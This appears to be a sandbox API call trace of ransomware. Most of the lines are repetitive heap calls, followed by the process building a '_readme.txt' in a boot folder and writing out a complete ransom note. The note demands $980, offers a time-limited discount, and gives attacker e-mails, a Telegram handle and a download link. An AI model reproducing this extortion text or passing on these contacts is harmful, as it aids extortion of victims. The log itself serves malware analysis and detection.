(HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.538] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.539] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.539] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.539] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.539] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.539] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.539] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.539] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.539] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.539] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.539] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.539] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.539] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.539] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.539] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.539] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.539] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.539] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.543] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.543] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.543] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.543] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.543] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.543] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.543] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.543] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.543] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.543] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.543] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.543] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.543] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.543] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.543] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0112.543] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.543] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.543] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.543] PathFindFileNameW (pszPath="") returned="" [0112.543] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.543] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.543] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.544] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.544] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.544] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.544] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.544] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0112.544] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.544] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.544] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 0 [0112.544] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331f120 [0112.544] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.544] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.544] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.544] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_readme.txt" (normalized: "c:\\boot\\el-gr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.544] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.544] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f120 | out: hHeap=0x660000) returned 1 [0112.544] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.544] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.544] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.545] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.545] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.545] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.545] FindNextFileW (in: 